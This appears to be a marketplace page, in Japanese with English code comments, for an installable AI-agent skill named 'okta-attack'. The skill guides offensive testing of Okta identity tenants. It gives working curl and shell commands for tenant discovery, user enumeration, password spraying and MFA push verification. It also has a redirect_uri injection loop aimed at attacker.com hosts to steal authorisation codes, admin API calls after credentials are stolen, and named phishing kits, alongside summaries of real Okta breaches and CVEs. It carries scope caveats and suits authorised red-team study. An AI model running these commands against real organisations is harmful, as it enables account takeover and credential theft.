okta-attack

Name: okta-attack
Author: elementalsouls

github.com/elementalsoulsセキュリティ5.3k268 回インストール今日更新

リポジトリ

okta-attack について

Oktaを利用する組織の、許可されたセキュリティ評価向けIDテストスキルです。テナントの特定、認証要素の分析、OIDC・SAML設定の確認を扱い、アカウントロックやソーシャルエンジニアリングの範囲にも注意を促します。

主な機能

01Oktaテナントとサインイン先の特定
02認証フローとMFA要素の分析
03OIDCリダイレクト設定の確認
04SAMLサービスプロバイダー設定の評価
05ロックアウトとテスト範囲への配慮

活用シーン

01企業アプリが使うOktaテナントの確認
02サインインフローのMFA要素の評価
03OIDCコールバックURL設定の確認
04SAMLアプリの署名設定の監査

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill okta-attack

インストール後、Claude Code で/okta-attackを入力して読み込まれたか確認します。

詳細

このスキルを使用する場面

次の場合に使用します：

DNS に <tenant>.okta.com または <tenant>.okta-emea.com（EMEA リージョン）が表示される
ログインフローが <tenant>.okta.com/login または /app/<app_id>/sso/saml にリダイレクトされる
Web ページに /signin/customize、oktapreview.com、または auth-js-sdk が記載されている
調査メモに「SSO に Okta を使用」とある
対象の TLS 証明書に *.okta.com の SAN がある
ID ファブリックのマッピングで、企業アプリの IdP として Okta が返される

次の場合は使用しないでください：

Entra ID（代わりに m365-entra-attack を使用）
Google Workspace（代わりに google-workspace-attack を使用 — まだ構築されていません）
ADFS（異なるプロトコル、オンプレミス）

テナントの検出

直接推測

# Tenant subdomains often match the brand
# Replace these with your target's actual tenant slug candidates:
for tenant in target-brand target-brand-ltd target-sister-brand target-brand-short target-other-variant; do
  for region in okta okta-emea oktapreview; do
    host="$tenant.$region.com"
    code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 8 "https://$host/")
    [ "$code" != "404" ] && [ "$code" != "000" ] && echo "  $host  $code"
  done
done

DNS からの相互参照

# Look for CNAME records pointing to Okta
# Replace with your target's actual domains:
for domain in client.example client-ltd.example; do
  dig +short "sso.$domain" CNAME
  dig +short "login.$domain" CNAME
  dig +short "auth.$domain" CNAME
  dig +short "okta.$domain" CNAME
done

アプリの HTTP フローからの相互参照

# Visit corporate-app login, follow redirects
curl -skL -o /dev/null -w "%{redirect_url}\n" "https://app.target.com/login"
# If redirects to <something>.okta.com → confirmed Okta tenant

ユーザー列挙

方法 1 — `/api/v1/authn` の差分

認証 API は、無効なユーザーと無効なパスワードで異なるエラーを返します。わずかな差分があります。

# Probe single user — DON'T spray, this counts as auth attempt!
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
  -H "Content-Type: application/json" \
  -d '{"username":"<email>","password":"_test_invalid_pw"}'

# Response codes:
#   401 + "errorCode":"E0000004" → invalid credentials (user exists OR doesn't — Okta unifies these)
#   401 + "errorCode":"E0000119" → account locked
#   200 → MFA prompt (cred VALID, MFA needed)
#   200 + "status":"SUCCESS" → full auth (rare in modern setups)

⚠ Okta は /api/v1/authn を介した直接的なユーザー存在確認の列挙への対策を強化しており、通常、エラーメッセージは一律の「Authentication failed」です。2024 年以降、このエンドポイントによるユーザー列挙は信頼性がありません。

方法 2 — `/api/v1/users/me/factors` の応答時間

一部のフローでは、応答時間の差からユーザーの存在が分かることがあります。M365 OneDrive の手法より信頼性は低いです。

方法 3 — サインインウィジェットの JS エンドポイント

curl -sk "https://<tenant>.okta.com/api/v1/sessions/me" \
  -H "Accept: application/json"
# Response varies by tenant config

方法 4 — 組織固有の識別子のプロービング

一部の Okta 組織ではユーザー名にメールアドレスを使用し、ほかでは firstname.lastname や従業員 ID を使用します。次のパターンを推測して試します：

[email protected]
[email protected]  
[email protected]
[email protected]

方法 5 — login_hint を指定した OIDC `/v1/authorize`

# Tampering with login_hint param can reveal user existence on some configs
curl -skI "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<id>&response_type=code&scope=openid&redirect_uri=https://example.com&login_hint=<email>"
# Different redirect → user exists vs doesn't

認証フローの分析（必ず最初に実施）

# Initial auth — observe what factors come back
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
  -H "Content-Type: application/json" \
  -d '{"username":"<valid_user>","password":"_test_invalid_pw"}' | python3 -m json.tool

応答の構造から要素の設定が分かります：

{
  "stateToken": "00ABC...",
  "factorResult": "WAITING",
  "status": "MFA_REQUIRED",
  "_embedded": {
    "factors": [
      {"factorType": "push", "provider": "OKTA"},
      {"factorType": "token:software:totp", "provider": "OKTA"},
      {"factorType": "sms", "provider": "OKTA"},
      {"factorType": "call", "provider": "OKTA"},
      {"factorType": "email", "provider": "OKTA"},
      {"factorType": "question", "provider": "OKTA"},
      {"factorType": "webauthn", "provider": "FIDO"}
    ]
  }
}

重要なポイント： 要素の一覧から利用可能な要素が分かります。フィッシング耐性には大きな差があります：

webauthn（FIDO2）— フィッシング耐性あり
question（セキュリティ質問）— 非常に脆弱。KBA 攻撃の対象
sms / call — フィッシング可能（プッシュ通知疲労攻撃、SIM スワップ）
push — MFA 疲労攻撃によるフィッシングが可能
email — 攻撃者がメールを読める場合、フィッシング可能
totp — AiTM によるフィッシングが可能

パスワードスプレー（Okta 固有のロックアウト対策を徹底）

ロックアウトポリシー

Okta のデフォルト設定：サインイン失敗 10 回 → ロックアウト（組織ごとに設定可能）。組織によっては、より厳しい設定（失敗 3 回）にしている場合もあります。

対策：

エンゲージメントごとにユーザーあたり生涯 ≤2 回の試行（Okta のロックアウトは失敗 3 回の場合もあるため、Entra での 1 回より安全です）
ユーザーごとにアトミック状態ファイルで追跡する
最初の有効な結果が得られた時点、または LOCKED 率がしきい値を超えた時点で停止する

スプレーエンドポイント

# Same /api/v1/authn — see authentication flow above

注意すべきステータスコード

応答	意味
`200 status=MFA_REQUIRED`	パスワードは有効 — MFA チャレンジ待機中
`200 status=SUCCESS + sessionToken`	認証完了（このユーザーに MFA が要求されない場合のみ）
`200 status=PASSWORD_EXPIRED`	パスワードは有効ですが、ユーザーは変更する必要があります
`200 status=LOCKED_OUT`	アカウントがロックされています（事前にロックされていたか、こちらの操作が原因）
`401 E0000004`	認証に失敗しました（ユーザーが存在しない、またはパスワードが誤っている — Okta は区別しません）
`401 E0000119`	ユーザーはロックされています
`429`	レート制限に達しました

プッシュ通知疲労攻撃（MFA ボミング）

有効なパスワードを取得し、push 要素が利用可能な場合の典型的な攻撃は、ユーザーが疲れて承認するまでプッシュ要素を連続して送信することです。

⚠ 多くのレッドチームエンゲージメントでは範囲外です（ソーシャルエンジニアリング／フィッシングに該当します。たとえば、許可されたエンゲージメントではフィッシングが明示的に範囲外でした）。ベクトルの存在を記録しますが、明示的な承認なしに実行してはいけません。

検出のみの確認（対象で許可されているか？）

# Initiate factor verification
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn/factors/<factor_id>/verify" \
  -H "Content-Type: application/json" \
  -d '{"stateToken":"<from_authn>"}'

# A real test would loop this — DON'T do that without explicit OK

OIDC redirect_uri の改ざん

Okta の OIDC アプリでは、許可された redirect_uri の一覧が設定されていることがよくあります。設定ミスの例：

# Get the app's authorize endpoint
curl -sk "https://<tenant>.okta.com/.well-known/openid-configuration" | python3 -m json.tool

# Test redirect_uri injection
for ruri in \
    "https://attacker.example.com/" \
    "https://target.com.attacker.com/" \
    "https://[email protected]/" \
    "https://target.com#@attacker.com/" \
    "https://target.com\\@attacker.com/" \
    "//attacker.com/" \
    "https://target.com/cb?next=https://attacker.com/"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" \
    "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<client>&response_type=code&scope=openid&redirect_uri=$(python3 -c "import urllib.parse;print(urllib.parse.quote('$ruri'))")")
  echo "  $ruri → $code"
done
# Any 302 with the attacker URL in Location header = open redirect → auth-code theft chain

SAML SP 設定ミスの確認（アプリごと）

Okta の SAML アプリには、それぞれ独自の SP メタデータがあります：

# Iterate known app IDs (find via the org's app list — usually in JS bundles or initial login redirects)
curl -sk "https://<tenant>.okta.com/app/<app_id>/sso/saml/metadata"

# Look for:
#   AuthnRequestsSigned="false"  ← see hunt-saml for XSW
#   WantAssertionsSigned="false" ← assertion-replay possible
#   <NameIDFormat>...emailAddress</NameIDFormat>

Okta Admin API（認証情報侵害後）

有効な認証情報と MFA 完了済みトークンを取得した場合：

# Get session token
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
  -d '{"username":"...","password":"..."}'
# → if SUCCESS, response has sessionToken

# Exchange for API token (admin only)
# Test admin endpoints (all require valid SSWS token):
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/users"
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/groups"
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/apps"
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/logs"      # audit log

Okta 固有のフィッシングキット（情報提供のみ — フィッシングを伴わないエンゲージメントでは対象外）

EvilProxy — Okta 対応の AiTM キット
Modlishka — 汎用 AiTM
Evilginx2 — Okta 用の phishlet を搭載

存在を記録してください。明示的にフィッシングがスコープに含まれていない限り、展開しないでください。

FastPass / Okta Verify の悪用

Okta FastPass はプッシュベースで、デバイスに紐付いています。バイパス方法：

デバイス信頼の偽装（キットとエンドポイントの侵害が必要 — 内部限定）
プッシュ疲労（上記を参照）
偽の FastPass プロンプトへのフィッシングリダイレクト

Okta テナントの一般的な設定パターン

指標	設定
`<tenant>.okta.com/api/v1/iam/orgs` が 404 ではなく 401 を返す	API IAM エンドポイントが有効 — 管理者の攻撃対象領域
`customize/sign-in` ページに匿名でアクセスできる	テナントのブランドカスタマイズが公開されている — 有用な情報
複数の `*.okta.com` SAN 証明書	マルチテナント組織（あまり一般的ではありません）
`oktapreview.com` サブドメイン	プレビュー／サンドボックスのテナント — 通常はセキュリティが弱い

ツール

OktaTerrify（github.com/silverhack/OktaTerrify）— 侵害後の Okta デバイス信頼／FastPass の列挙。検証可能な公開済みの Okta 固有の攻撃ツールはこれだけです。ほかに、名前が挙げられ、保守されている「okta-attacker」／「okta-toolkit」ユーティリティは検証できません — 未検証のツール名を挙げるのではなく、エンゲージメント固有のスクリプトを /api/v1/* 向けに作成してください。

アンチパターン

Okta で Entra 方式のスプレー速度を使わないでください — Okta の自動化対策は調整が異なり、レート制限にすぐ達します
ファクターの列挙を省略しないでください — スプレーを試みる前にファクターの一覧を把握すると、現実的な脅威モデルを判断できます
MFA 疲労攻撃がスコープ内だと決めつけないでください — ソーシャルエンジニアリングにあたるため、明示的な承認が必要です
*.oktapreview.com を本番環境と混同しないでください — プレビューは非本番テナントであり、発見事項の重大度は異なります

アンチパターン：2024 年以降の Okta ユーザー列挙

2022 年までに公開されたいくつかの手法（例：/api/v1/authn の差分エラー）は、対策が強化されています。古い知識に頼らず、各エンゲージメントで次の手順により列挙手法が現在も有効か確認してください：

存在が確認済みのユーザー名を 1 件テストします（到達可能であれば info@<domain> など）
存在しないことが確認済みのユーザー名を 1 件テストします
応答をバイト単位および応答時間で比較します

応答が同一なら、その手法には対策が施されています。OneDrive 相当の手法または別のアプローチに切り替えてください。

公開事例／CVE／協調的な脆弱性開示の解説記事

これらは、このスキルの手法を裏付ける代表的な公開資料です。該当する場合はレポートで引用し、新たな Okta 攻撃チェーンのスコープを定める際には類似事例として利用してください。

1. Okta + Sitel/Sykes — LAPSUS$ のサプライチェーン侵害（2022年1月、2022年3月に公表）

参考資料：https://sec.okta.com/articles/2022/03/official-okta-statement-lapsus-claims/、https://www.okta.com/blog/company-and-culture/oktas-investigation-of-the-january-2022-compromise/、https://thehackernews.com/2022/03/new-report-on-okta-hack-reveals-entire.html、https://www.itpro.com/security/cyber-security/367236/leaked-mandiant-report-okta-breach-lapsus-operation
攻撃の流れ：LAPSUS$ は、Sitel（Sykes Enterprises を買収したサードパーティーのサポート業務委託先）のサポートエンジニアのワークステーションを侵害しました。シンクライアントの踏み台ホスト上で Mimikatz と GitHub にホストされたツールを使用し、2022年1月21日に約25分間、Okta の内部「SuperUser」サポートツールにアクセスしました。最終的な影響範囲は、当初懸念されていた366テナントのうち、アクセスされた顧客テナントは2つでした。
根本原因：サードパーティーのサポートプロバイダーが顧客テナントへの永続的な特権アクセス権を持っていたこと、セグメンテーションが不十分だったこと、ドメイン認証情報がスプレッドシートに保存されていたこと、インバウンド VPN アカウントで MFA が設定されていなかったこと、報告が遅れたこと（Mandiant の報告は3月17日、LAPSUS$ がスクリーンショットをツイートした後の3月22日にようやく公表）。
年：2022年。深刻度：重大（業界を揺るがす事件 — IdP サプライチェーンの信頼モデルを一新しました）。

2. Okta のカスタマーサポート HAR ファイル漏洩（2023年9〜10月）

参考資料：https://sec.okta.com/articles/2023/11/unauthorized-access-oktas-support-case-management-system-root-cause/、https://blog.cloudflare.com/how-cloudflare-mitigated-yet-another-okta-compromise/、https://www.beyondtrust.com/blog/entry/okta-support-unit-breach、https://www.bleepingcomputer.com/news/security/okta-breach-134-customers-exposed-in-october-support-system-hack/
攻撃の流れ：Okta のサポート担当者が会社支給のノート PC で個人の Google プロファイルにログインし、Chrome の同期によって保存済みのサポートサービスアカウントの認証情報が侵害された個人用デバイスに流出しました。脅威アクターはその認証情報を使って2023年9月28日から10月17日までサポートケース管理ポータルにログインし、顧客がトラブルシューティングのためにアップロードした HAR ファイルをダウンロードしました。HAR ファイルには有効なセッション Cookie／トークンが含まれていたため、顧客の Okta テナントに対してセッションリプレイが行われました。134社の顧客が影響を受け、5社でセッションがハイジャックされました（BeyondTrust、Cloudflare、1Password が公表）。
根本原因：Chrome プロファイルの同期を通じてサービスアカウントの認証情報が管理対象外の個人用デバイスに届いたこと、サニタイズされていないセッショントークンを含む HAR ファイルが、リプレイ可能な状態で受け付けられていたこと（サポートトークンに IP／デバイスのバインディングがありませんでした）。
年：2023年。深刻度：重大。BeyondTrust は2023年10月2日に侵害を検知して Okta に報告しましたが、Okta が公表したのは10月19日でした。

3. Scattered Spider / Octo Tempest / UNC3944 — Okta テナントへのソーシャルエンジニアリング攻撃（2022〜2024年、継続中）

参考資料：https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a、https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection/、https://www.darkreading.com/cyberattacks-data-breaches/how-the-okta-cross-tenant-impersonation-attacks-succeeded、https://attack.mitre.org/groups/G1015/
攻撃の流れ：グループは従業員になりすまして IT ヘルプデスクに電話し（LinkedIn プロフィールから入手した身元情報を利用）、MFA のリセットとパスワードのリセットを要求して、Okta への最初の足掛かりを得ます。その後、Okta のスーパー管理者権限に昇格し、攻撃者が管理する2つ目の IdP を設定して、インバウンドフェデレーションとアカウントリンクを有効にします。さらに、攻撃者の IdP の NameID を標的ユーザーと一致するように変更し、認証情報を使わずにテナント内のあらゆる Okta ユーザーになりすまします。この手法は MGM および Caesars への攻撃（2023年9月、損失は1億ドル超）で使われ、2023年7〜8月の攻撃では4社以上の Okta 顧客で確認されました。
根本原因：帯域外での本人確認を行わず、ヘルプデスクを信頼の起点としていたこと、および攻撃者が管理する IdP からの任意の NameID を含むアサーションを正規のものとして受け入れる Okta のインバウンドフェデレーション機能。
年：2023年以降。深刻度：重大。CISA／FBI 共同勧告 AA23-320A。

4. Okta のクロスオリジン認証を利用したクレデンシャルスタッフィング（2024年4～5月）

参考資料：https://sec.okta.com/articles/2024/05/detecting-cross-origin-authentication-credential-stuffing-attacks/、https://thehackernews.com/2024/05/okta-warns-of-credential-stuffing.html、https://arcticwolf.com/resources/blog/okta-cross-origin-authentication-feature-customer-identity-cloud-targeted-credential-stuffing-attacks/
攻撃の流れ：Customer Identity Cloud（Auth0 をベースとする）のクロスオリジン認証エンドポイントが、登録されていないオリジンからのクレデンシャルスタッフィングを、気付かれないまま受け入れていました。2024年4月15日から5月にかけて確認されました。テナントログのシグナル：fcoa（クロスオリジン認証の失敗）、scoa（クロスオリジン認証の成功）、pwd_leak（漏えいしたパスワードとの一致）。
根本原因：認証 API のエッジでオリジンの許可リストが適用されず、すべてのテナントでクロスオリジン認証がデフォルトで許可されていました。また、クレデンシャルスタッフィングのスロットリングは、テナント単位ではなくエンドポイント単位で適用されていました。
年：2024年。深刻度：高（再利用された認証情報を用いた大規模なアカウント乗っ取り）。

5. CVE-2024-0981 — Okta AD/LDAP DelAuth の bcrypt キャッシュキーによる認証バイパス（2024年10月）

参考資料：https://trust.okta.com/security-advisories/okta-ad-ldap-delegated-authentication-username/、https://www.theregister.com/2024/11/04/why_the_long_name_okta/、https://www.nodejs-security.com/blog/okta-bcrypt-security-incident-bun-nodejs
攻撃の流れ：Okta は、bcrypt(userId + username + password) をキーとして AD/LDAP DelAuth の結果をキャッシュしていました。Bcrypt は入力を72バイトで黙って切り捨てます。ユーザー名が52文字以上の場合、パスワードのバイト列が72バイトの境界を超えるため、キャッシュキーがパスワードに依存しなくなります。ユーザーが以前にログインに成功していて（キャッシュが存在する）、かつ AD/LDAP エージェントに到達できず、さらに MFA が無効になっている場合、どのパスワードでも認証されます。
根本原因：アルゴリズムの72バイトの入力制限を考慮せずに bcrypt を汎用ハッシュとして使用していたことに加え、キャッシュへのフォールバック経路によってセキュリティモデルが逆転していました（ライブ認証よりキャッシュを信頼）。
年：2024年。深刻度：高。このバグは2024年7月23日に混入し、社内で発見されて2024年10月30日に修正されました（約3か月間の露出）。

6. Okta Verify iOS のプッシュ応答バイパス（CVE-2024-10327、2024年10月開示）

参考資料：https://trust.okta.com/security-advisories/okta-verify-for-ios-cve-2024-10327/
攻撃の流れ：Okta Verify iOS 9.25.1-beta / 9.27.0 には、iOS ContextExtension のプッシュアクションハンドラーにバグがありました。ロック画面での長押し／バナーの下方向へのドラッグ／Apple Watch からの返信という操作経路では、「はい、本人です」と「いいえ、本人ではありません」の両方のボタンが、同じ認証承認応答を返していました。プッシュ通知に疲弊したユーザーが明示的に「いいえ」をタップしても、認証が承認されてしまいます。
根本原因：2つの通知応答アクションハンドラーが同じバックエンド確認経路に接続されており、UX レベルでの拒否がバックエンドの拒否として反映されませんでした。
年：2024年。深刻度：高（プッシュ疲労／Scattered Spider 型のプッシュ爆撃に対するユーザーの最後の防衛線を、気付かれないまま無効化）。

7. Varonis Threat Labs — Okta の悪用「CrossTalk」と「Secret Agent」（2023年1月）

参考資料：https://www.varonis.com/blog/okta-attack-vectors
攻撃の流れ：（a）CrossTalk：Okta テナントの管理者（無料の開発者テナントを含む）は、あらゆるメールアドレス／電話番号に届く SMS／メールテンプレートを送信できました。送信には正規の Okta メーラーインフラが使われるため、okta.com の SPF/DKIM/DMARC を通過します。信頼されている送信者から届く、テナントをまたいだフィッシングの仕込みに利用されました。（b）Secret Agent：オンプレミスの Okta AD エージェント同期サーバーに保存された SSWS トークンは、ディスクから復号できました。これを入手した者は不正な AD エージェントを登録し、組織全体の DelAuth の平文認証情報を傍受できました。
根本原因：（a）送信通知 API で、送信者 ID がテナント内に制限されていることが確認されていませんでした。（b）エージェントの SSWS ブートストラップシークレットが、復元可能な状態でディスクに保存されており、新しいエージェントの登録に管理者による追加承認は必要ありませんでした。
年：2023年。深刻度：どちらも高。Okta によって開示され、修正されました。

8. スティーラーマルウェアによる Okta 管理コンソールのセッション Cookie 窃取（2022～2024年、現在も続く攻撃クラス）

参照：https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection/、https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a、https://www.beyondtrust.com/blog/entry/okta-support-unit-breach
フロー：攻撃クラス — 企業のエンドポイントに侵入したスティーラーマルウェア（Lumma、RedLine、Raccoon、StealC）が、<tenant>.okta.com と <tenant>-admin.okta.com の sid Cookie を外部に送信します。Okta セッションで IP バインディングまたはデバイスバインディングが設定されていない場合、攻撃者は住宅用プロキシから Cookie を再利用して、ユーザーの完全なセッションを取得します（被害者が管理者であれば、管理者セッションも含みます）。これにより MFA を完全に回避できます（すでに MFA を通過済みのセッションです）。2023年10月の HAR ファイルインシデントと、Scattered Spider による侵入の大半は、この手法に支えられていました。
根本原因：Okta のセッション Cookie は、DPoP／Device Bound Session Cookies／非対称セッションキーが適用されるまではベアラートークンです。Cookie を持つ者は誰でも、そのユーザーになりすませます。
年：2022～2024年（現在も続く攻撃クラス）。深刻度：管理者セッションが窃取された場合は重大です。

ハンター向けの要点

2022年の LAPSUS$、2023年の HAR ファイル、2023年の Scattered Spider の各キャンペーンには共通のパターンがあります。攻撃が Okta の製品コードを狙うことはほとんどなく、Okta を取り巻く信頼関係（サードパーティのサポート、ヘルプデスクでの本人確認、顧客がアップロードした成果物、フェデレーション IdP）を狙います。まず、こうした信頼関係のつながりを調査で洗い出します。
CVE-2024-0981（bcrypt の72バイト切り捨て）は、純粋に製品自体に起因する珍しい Okta の CVE です。開示されている Okta の不具合の大半は、設定または運用に関するものです。
プッシュ通知の連続承認要求は、単なるソーシャルエンジニアリングではありません。Okta Verify iOS のバグから、プラットフォーム自体が拒否されたプッシュをひそかに承認する可能性があると分かります。2024年以降は、Okta のプッシュ通知要素はすべて回避可能とみなしてください。
レッドチームのスコープ設定では、HAR ファイルのリプレイ、インバウンドフェデレーション IdP の注入、スティーラーマルウェアによる Cookie のリプレイが、実環境で確認された偵察後の最も有効性の高い3つの手法です。

基本情報

作者: elementalsouls
リポジトリ: elementalsouls/claude-bughunter
カテゴリ: セキュリティ
インストール数: 268
GitHub スター: 5,334

問題を報告